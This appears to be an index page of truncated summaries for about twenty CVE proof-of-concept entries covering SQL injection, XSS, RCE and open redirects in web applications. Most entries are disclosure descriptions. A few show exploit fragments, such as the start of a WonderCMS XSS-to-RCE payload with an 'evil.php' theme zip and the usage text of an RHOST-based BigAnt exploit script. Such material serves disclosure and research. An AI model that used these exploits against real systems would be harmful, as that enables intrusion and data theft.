CVE-2025-52399-SQLi-Institute-of-Current-Students

CVE-2025-52399 - SQL Injection in Institute of Current Students Summary The loginlinkfaculty endpoint in the Institute-of-Current-Students application is vulnerable to SQL Injection via the fid POST parameter. The parameter is not properly sanitized before being used in a SQL query, allowing remo...

CVE-2019-11358

CVE-2019-11358 Prototype Pollution A simple poc of prototype pollution that occurs in the jQuery's 3.4.0 extension method. The first argumentdeep in the extend method must be true...

CVE-2025-55887

CVE-2025-55887 Description Cross-Site Scripting XSS vulnerability was discovered in the meal reservation service ARD. The vulnerability exists in the transactionID GET parameter on the transaction confirmation page. Due to improper input validation and output encoding, an attacker can inject...

CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | Description : XSS to RCE, Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

CVE-2024-50961

Sensitive Data Exposure CVE-2024-50961 Description In DonWeb Ferozo Hosting v1.1, a remote attacker can exploit URL parameters to access sensitive data, including database credentials. Attack vectors include network sniffing, server logs, and browser history, potentially exposing organizations to...

CVE-2025-5287

🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection 🧠 CVE ID: CVE-2025-5287 Discovered by: KhaledAlenazi Nxploited Published on: 27 May, 2025 📋 Description The Likes and Dislikes Plugin for WordPress is vulnerable to SQL Injection through the post parameter in all versio...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 RCE via SQL Injection SQL injection vulnerability in BigAnt Messenger causes RCE vulnerability. Follow the steps to exploit. Usage: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help message and exit -r, --rhost RHOST...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 critical Remote Code Execution RCE vulnerability discovered in Apache Tomcat affect systems with HTTP PUTs enabled via setting the "read-only" initialization parameter of the Default servlet to "false" are affected. Tomcat versions before 9.0.1 Beta, 8.5.23, 8.0.47 a...

CVE-2021-40906

CVE-2021-40906 - Reflected XSS in an unauthenticated zone Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 1.5.0p25 Author: Edgar Augusto Loyola Torres. Attack type: Reflected XSS Solution: Update to Software Revision 1.6.0p26 or later Summary: CheckMK Raw Edition...

CVE-2025-56762

Description: The application leverages “error.php” to serve the respective error code as per the use case back to the web application upon encountering an error. Upon inspecting the source code, it was found that the application does not sanitize the parameter “code” when crafting a malicious...

CVE-2025-56807

CVE-2025-56807 Description A Stored Cross Site Scripting XSS vulnerability was discovered in FairSketch RISE Ultimate Project Manager & CRM v3.9.4 in the File Manager functionality. The vulnerability lies in the title parameter that is submitted when creating new folders. Due to insufficient inpu...

CVE-2021-24807

CVE-2021-24807 Support Board 3.3.4 Authenticated Stored XSS Authenticated Stored Cross Site Scripting XSS Vulnerability exists in Support Board Version 3.3.4 via Notes parameter. The impact of cross-site scripting vulnerabilities can vary from one web application to another. It ranges from sessio...

PoC-CVE-2024-24035

CVE-2024-24035 Title The SIL 3.1 is vulnerable to Cross Site Scripting XSS in the "hmessage" parameter. Date: 2024-01-14 Author: Elizeu Das Dores Vendor Homepage: https://www.setorinformatica.com/ Version: 3.1 POC CVE-2024-24035 The "hmessage" parameter is vulnerable to DOM Based Cross Site...

CVE-2019-17427

CVE-2019-17427 CVE-2019-17427 Persistent XSS POC In Redmine before 3.4.11 and 4.0.x before 4.0.4, persistent XSS exists due to textile formatting errors. The vulnerability essentially exists on any wiki page which by default uses textile formatting. You can take advantage of it by using pre...

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability Exploit Author: ersinerenler Vendor Homepage https://code-projects.org/blood-bank-in-php-with-source-code Software Link https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip Overview...

PoC-CVE-2024-24034

CVE-2024-24034 Title: The S.I.L 3.0 is vulnerable to Open Redirect via the "hprinter" parameter. Date: 2024-01-11 Author: Elizeu Das Dores Vendor Homepage: https://www.setorinformatica.com/ Version: 3.0 POC CVE-2024-24034 The "hprinter" parameter redirects the user whenever an error occurs in the...

CVE-2023-6275

CVE-2023-6275 - Reflected Cross-Site Scripting in TOTVS Fluig Plataform 1.6.X - 1.8.1 The TOTVS Fluig platform, in its versions from 1.6.1.X to 1.8.1, is vulnerable to Cross-Site Scripting in the 'redirectUrl' and 'user' parameters within the 'mobileredir' module. Fluig is the productivity and...

Microfinance-Management-System-V1.0-SQL-Injection-Vulnerability-Unauthenticated

Microfinance Management System V1.0 SQL Injection Vulnerability Unauthenticated 1. Description: Microfinance Management System allows SQL Injection via parameter 'customernumber' in /mims/updatecustomer.php. Exploiting this issue could allow an attacker to compromise the application, access or...

CVE-2022-39838

CVE-2022-39838 Suggested description Systematica FIX Adapter ALFAFX 2.4.0.25 13/09/2017 allows remote file inclusion via a UNC share pathname, and also allows absolute path traversal to local pathnames. Additional Information PoC:...

CVE-2024-34469

CVE-2024-34469 Rukovoditel up to 3.5.3 version is affected to cross-site scripting attack XSS The payload can be embedded in two places, on the registration page and in the user’s personal account with any privileges. The vulnerability is in the userphoto parameter. 1. Editing the personal accoun...